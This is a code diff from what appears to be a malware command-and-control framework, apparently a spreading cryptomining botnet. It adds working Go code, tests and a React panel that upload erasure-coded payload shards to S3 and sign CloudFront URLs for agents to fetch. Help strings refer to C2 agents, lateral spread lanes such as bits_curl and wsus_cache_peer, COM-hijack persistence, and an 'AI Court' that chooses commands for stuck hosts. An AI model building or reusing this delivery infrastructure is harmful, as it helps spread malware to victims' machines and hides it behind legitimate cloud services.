return signCloudFrontURL(strings.TrimRight(domain, "/")+"/"+strings.TrimLeft(objectPath, "/"), cfg.KeyPairID, cfg.PrivateKeyPEM, time.Now().Add(ttl).Unix())
|
||||
}
|
||||
|
||||
func signCloudFrontURL(rawURL, keyPairID, pemKey string, expires int64) (string, error) {
|
||||
block, _ := pem.Decode([]byte(pemKey))
|
||||
if block == nil {
|
||||
return "", fmt.Errorf("invalid PEM")
|
||||
}
|
||||
keyAny, err := x509.ParsePKCS8PrivateKey(block.Bytes)
|
||||
if err != nil {
|
||||
keyAny, err = x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
priv, ok := keyAny.(*rsa.PrivateKey)
|
||||
if !ok {
|
||||
return "", fmt.Errorf("not RSA key")
|
||||
}
|
||||
canned := fmt.Sprintf("%s?Expires=%d", rawURL, expires)
|
||||
hash := sha1.Sum([]byte(canned))
|
||||
sig, err := rsa.SignPKCS1v15(rand.Reader, priv, crypto.SHA1, hash[:])
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
u, _ := url.Parse(rawURL)
|
||||
q := u.Query()
|
||||
q.Set("Expires", fmt.Sprintf("%d", expires))
|
||||
q.Set("Signature", base64URLEncode(sig))
|
||||
q.Set("Key-Pair-Id", keyPairID)
|
||||
u.RawQuery = q.Encode()
|
||||
return u.String(), nil
|
||||
}
|
||||
|
||||
func MinimalIAMPolicyJSON(bucket string) string {
|
||||
if bucket == "" {
|
||||
bucket = "YOUR_SHARD_BUCKET"
|
||||
}
|
||||
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject","s3:ListBucket"],"Resource":["arn:aws:s3:::%s","arn:aws:s3:::%s/shards/*"]}]}`, bucket, bucket)
|
||||
}
|
||||
|
||||
func MinimalBucketPolicyJSON(bucket, cfARN string) string {
|
||||
if cfARN == "" {
|
||||
cfARN = "arn:aws:cloudfront::ACCOUNT_ID:distribution/DISTRIBUTION_ID"
|
||||
}
|
||||
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"cloudfront.amazonaws.com"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::%s/shards/*","Condition":{"StringEquals":{"AWS:SourceArn":"%s"}}}]}`, bucket, cfARN)
|
||||
}
|
||||
|
||||
func SwarmMagnetLinkEx(token, payloadSHA string, edgeURLs []string) string {
|
||||
base := SwarmMagnetLink(token, payloadSHA)
|
||||
if base == "" || len(edgeURLs) == 0 {
|
||||
return base
|
||||
}
|
||||
sort.Strings(edgeURLs)
|
||||
for _, u := range edgeURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
base += "&xs=" + url.QueryEscape(strings.TrimSpace(u))
|
||||
}
|
||||
}
|
||||
return base
|
||||
}
|
||||
|
||||
func signS3Request(req *http.Request, cfg AWSSwarmSettings, _, objectKey string, body []byte) {
|
||||
region := cfg.Region
|
||||
if region == "" {
|
||||
region = "us-east-1"
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
amzDate := now.Format("20060102T150405Z")
|
||||
dateStamp := now.Format("20060102")
|
||||
payloadHash := hex.EncodeToString(hashPayload(body))
|
||||
req.Header.Set("Host", req.URL.Host)
|
||||
req.Header.Set("X-Amz-Date", amzDate)
|
||||
req.Header.Set("X-Amz-Content-Sha256", payloadHash)
|
||||
canonicalURI := "/"
|
||||
if objectKey != "" {
|
||||
canonicalURI = "/" + escapePath(objectKey)
|
||||
}
|
||||
canonicalHeaders := "host:" + req.URL.Host + "\n" + "x-amz-content-sha256:" + payloadHash + "\n" + "x-amz-date:" + amzDate + "\n"
|
||||
canonicalRequest := strings.Join([]string{req.Method, canonicalURI, "", canonicalHeaders, "host;x-amz-content-sha256;x-amz-date", payloadHash}, "\n")
|
||||
scope := dateStamp + "/" + region + "/s3/aws4_request"
|
||||
stringToSign := strings.Join([]string{"AWS4-HMAC-SHA256", amzDate, scope, hex.EncodeToString(hashString(canonicalRequest))}, "\n")
|
||||
sig := hex.EncodeToString(hmacSHA256(deriveSigningKey(cfg.SecretAccessKey, dateStamp, region, "s3"), stringToSign))
|
||||
req.Header.Set("Authorization", fmt.Sprintf("AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=%s", cfg.AccessKeyID, scope, sig))
|
||||
}
|
||||
|
||||
func hashPayload(b []byte) []byte {
|
||||
if b == nil {
|
||||
return hashString("")
|
||||
}
|
||||
s := sha256.Sum256(b)
|
||||
return s[:]
|
||||
}
|
||||
func hashString(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] }
|
||||
func hmacSHA256(key []byte, msg string) []byte {
|
||||
m := hmac.New(sha256.New, key)
|
||||
m.Write([]byte(msg))
|
||||
return m.Sum(nil)
|
||||
}
|
||||
func deriveSigningKey(secret, date, region, svc string) []byte {
|
||||
kDate := hmacSHA256([]byte("AWS4"+secret), date)
|
||||
kRegion := hmacSHA256(kDate, region)
|
||||
kService := hmacSHA256(kRegion, svc)
|
||||
return hmacSHA256(kService, "aws4_request")
|
||||
}
|
||||
func escapePath(p string) string {
|
||||
parts := strings.Split(p, "/")
|
||||
for i, s := range parts {
|
||||
parts[i] = url.PathEscape(s)
|
||||
}
|
||||
return strings.Join(parts, "/")
|
||||
}
|
||||
func base64URLEncode(b []byte) string {
|
||||
return strings.NewReplacer("+", "-", "=", "_", "/", "~").Replace(base64.StdEncoding.EncodeToString(b))
|
||||
}
|
||||
70
server/internal/erasure/s3_swarm_test.go
Normal file
70
server/internal/erasure/s3_swarm_test.go
Normal file
@@ -0,0 +1,70 @@
|
||||
package erasure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/pem"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type mockShardStore struct {
|
||||
puts []string
|
||||
}
|
||||
|
||||
func (m *mockShardStore) PutShard(_ context.Context, bucket, key string, _ []byte) error {
|
||||
m.puts = append(m.puts, bucket+"/"+key)
|
||||
return nil
|
||||
}
|
||||
func (m *mockShardStore) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestAttachS3SwarmUploadsSixShards(t *testing.T) {
|
||||
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
||||
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
||||
store := &mockShardStore{}
|
||||
cfg := HydrateAWSSwarmFromEnv(AWSSwarmSettings{
|
||||
S3Bucket: "my-bucket", CloudFrontDomain: "d123.cloudfront.net", Region: "us-east-1",
|
||||
AccessKeyID: "AKIA", SecretAccessKey: "secret", KeyPairID: "KPAIR", PrivateKeyPEM: string(pemBytes),
|
||||
})
|
||||
shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")}
|
||||
hashes := ShardContentHashes(shards)
|
||||
result, err := AttachS3Swarm(context.Background(), cfg, store, "tok", "deadbeef", 6, DefaultParams(), shards, hashes)
|
||||
if err != nil || len(store.puts) != 6 || result == nil || !strings.Contains(result.SwarmMagnet, "xs=") {
|
||||
t.Fatalf("err=%v puts=%d result=%+v", err, len(store.puts), result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestS3HTTPStorePutShardSigV4(t *testing.T) {
|
||||
var method, auth string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
method = r.Method
|
||||
auth = r.Header.Get("Authorization")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
store := &S3HTTPStore{
|
||||
Settings: AWSSwarmSettings{S3Bucket: "b", Region: "us-east-1", AccessKeyID: "A", SecretAccessKey: "s"},
|
||||
Endpoint: srv.URL,
|
||||
}
|
||||
if err := store.PutShard(context.Background(), "b", "shards/tok/us-east-1/0-ab.bin", []byte("x")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if method != http.MethodPut || !strings.HasPrefix(auth, "AWS4-HMAC-SHA256") {
|
||||
t.Fatalf("method=%s auth=%q", method, auth)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloudFrontSignedShardURL(t *testing.T) {
|
||||
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
||||
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
||||
cfg := AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net", KeyPairID: "K", PrivateKeyPEM: string(pemBytes)}
|
||||
u, err := CloudFrontSignedShardURL(cfg, "/shards/tok/us-east-1/0-ab.bin", time.Hour)
|
||||
if err != nil || !strings.Contains(u, "Expires=") {
|
||||
t.Fatalf("url=%q err=%v", u, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { render, screen, fireEvent, waitFor, cleanup } from '@testing-library/react';
|
||||
import AwsErasureSwarmPanel from './AwsErasureSwarmPanel';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
updateConfig: vi.fn().mockResolvedValue({}),
|
||||
testErasureSwarm: vi.fn().mockResolvedValue({ ok: true }),
|
||||
getErasureSwarmPolicyJSON: vi.fn().mockResolvedValue({ iam_policy: '{}', bucket_policy: '{}', env_keys: [] }),
|
||||
},
|
||||
}));
|
||||
|
||||
import { api } from '../../api/client';
|
||||
|
||||
const baseServer = {
|
||||
public_url: '',
|
||||
stats_retention_hours: 168,
|
||||
build_retention_days: 7,
|
||||
pool_reconnect_seconds: 30,
|
||||
websocket_ping_seconds: 30,
|
||||
max_agents: 500,
|
||||
max_build_size_mb: 50,
|
||||
log_agent_connections: false,
|
||||
log_share_submissions: false,
|
||||
log_pool_traffic: false,
|
||||
strict_wallet_validation: true,
|
||||
dashboard_subtitle: '',
|
||||
open_firewall_on_start: false,
|
||||
aws_s3_shard_bucket: 'b',
|
||||
aws_cloudfront_domain: 'd.cf.net',
|
||||
};
|
||||
|
||||
describe('AwsErasureSwarmPanel', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders bucket and CloudFront inputs', () => {
|
||||
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
|
||||
expect(screen.getByDisplayValue('b')).toBeTruthy();
|
||||
expect(screen.getByDisplayValue('d.cf.net')).toBeTruthy();
|
||||
expect(screen.getByText(/AWS Erasure Swarm/i)).toBeTruthy();
|
||||
});
|
||||
|
||||
it('calls test endpoint on Test connection', async () => {
|
||||
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
|
||||
fireEvent.click(screen.getByRole('button', { name: /Test connection/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.testErasureSwarm).toHaveBeenCalledWith({ s3_bucket: 'b', cloudfront_domain: 'd.cf.net' });
|
||||
});
|
||||
});
|
||||
|
||||
it('loads policy JSON on button click', async () => {
|
||||
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
|
||||
fireEvent.click(screen.getByRole('button', { name: /Generate policy JSON/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.getErasureSwarmPolicyJSON).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
});
|
||||
87
server/web/src/components/Forge/AwsErasureSwarmPanel.tsx
Normal file
87
server/web/src/components/Forge/AwsErasureSwarmPanel.tsx
Normal file
@@ -0,0 +1,87 @@
|
||||
import { useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { ServerSettings } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
|
||||
type Props = {
|
||||
server: ServerSettings;
|
||||
onServerChange: (patch: Partial<ServerSettings>) => void;
|
||||
};
|
||||
|
||||
export default function AwsErasureSwarmPanel({ server, onServerChange }: Props) {
|
||||
const [testing, setTesting] = useState(false);
|
||||
const [testMsg, setTestMsg] = useState('');
|
||||
const [policyJSON, setPolicyJSON] = useState('');
|
||||
|
||||
const bucket = server.aws_s3_shard_bucket ?? '';
|
||||
const cfDomain = server.aws_cloudfront_domain ?? '';
|
||||
|
||||
const saveFields = async (patch: Partial<ServerSettings>) => {
|
||||
onServerChange(patch);
|
||||
await api.updateConfig({ server: { ...server, ...patch } });
|
||||
};
|
||||
|
||||
const runTest = async () => {
|
||||
setTesting(true);
|
||||
setTestMsg('');
|
||||
try {
|
||||
const res = await api.testErasureSwarm({ s3_bucket: bucket, cloudfront_domain: cfDomain });
|
||||
setTestMsg(res.ok ? 'S3 head bucket OK — credentials and signing ready.' : (res.error || 'Test failed'));
|
||||
} catch (e) {
|
||||
setTestMsg(e instanceof Error ? e.message : 'Test failed');
|
||||
} finally {
|
||||
setTesting(false);
|
||||
}
|
||||
};
|
||||
|
||||
const loadPolicy = async () => {
|
||||
setPolicyJSON('');
|
||||
try {
|
||||
const res = await api.getErasureSwarmPolicyJSON(bucket);
|
||||
setPolicyJSON(JSON.stringify(res, null, 2));
|
||||
} catch (e) {
|
||||
setPolicyJSON(e instanceof Error ? e.message : 'Failed to load policy JSON');
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="form-group card operator-deck-card" style={{ marginTop: '1rem' }}>
|
||||
<h3 className="font-tech">AWS Erasure Swarm</h3>
|
||||
<p className="form-hint">
|
||||
Upload RS 4+2 shards to S3 on deploy plans; agents fetch LAN → CloudFront → C2.
|
||||
Credentials via env: <code>AF_AWS_*</code>, <code>AF_CLOUDFRONT_*</code>.
|
||||
<HelpTip field="aws_erasure_swarm" />
|
||||
</p>
|
||||
<label className="label">S3 shard bucket</label>
|
||||
<input
|
||||
className="input"
|
||||
value={bucket}
|
||||
onChange={(e) => onServerChange({ aws_s3_shard_bucket: e.target.value })}
|
||||
onBlur={() => saveFields({ aws_s3_shard_bucket: bucket })}
|
||||
placeholder="my-fleet-shards"
|
||||
/>
|
||||
<label className="label" style={{ marginTop: '0.5rem' }}>CloudFront domain</label>
|
||||
<input
|
||||
className="input"
|
||||
value={cfDomain}
|
||||
onChange={(e) => onServerChange({ aws_cloudfront_domain: e.target.value })}
|
||||
onBlur={() => saveFields({ aws_cloudfront_domain: cfDomain })}
|
||||
placeholder="d123abc.cloudfront.net"
|
||||
/>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.75rem', flexWrap: 'wrap' }}>
|
||||
<button type="button" className="btn btn-secondary" disabled={testing} onClick={runTest}>
|
||||
{testing ? 'Testing…' : 'Test connection'}
|
||||
</button>
|
||||
<button type="button" className="btn btn-secondary" onClick={loadPolicy}>
|
||||
Generate policy JSON
|
||||
</button>
|
||||
</div>
|
||||
{testMsg && <p className="form-hint" style={{ marginTop: '0.5rem' }}>{testMsg}</p>}
|
||||
{policyJSON && (
|
||||
<pre className="form-hint" style={{ marginTop: '0.5rem', maxHeight: '12rem', overflow: 'auto', fontSize: '0.75rem' }}>
|
||||
{policyJSON}
|
||||
</pre>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -109,6 +109,7 @@ describe('FIELD_HELP', () => {
|
||||
'failure_atlas',
|
||||
'erasure_lanes',
|
||||
'fleet_torrent',
|
||||
'aws_erasure_swarm',
|
||||
'ai_court_session',
|
||||
'ai_persona',
|
||||
'ai_persona_aggressive',
|
||||
|
||||
@@ -48,6 +48,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
|
||||
fleet_torrent:
|
||||
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
|
||||
aws_erasure_swarm:
|
||||
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
|
||||
ai_court_session:
|
||||
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
|
||||
calibration_ai_control:
|
||||
|
||||
@@ -27,6 +27,7 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
|
||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
@@ -3082,6 +3083,17 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
||||
</div>
|
||||
|
||||
{calibrateConfig?.server && (
|
||||
<AwsErasureSwarmPanel
|
||||
server={calibrateConfig.server}
|
||||
onServerChange={(patch) =>
|
||||
setCalibrateConfig((prev) =>
|
||||
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
|
||||
)
|
||||
}
|
||||
/>
|
||||
)}
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
|
||||
Reference in New Issue
Block a user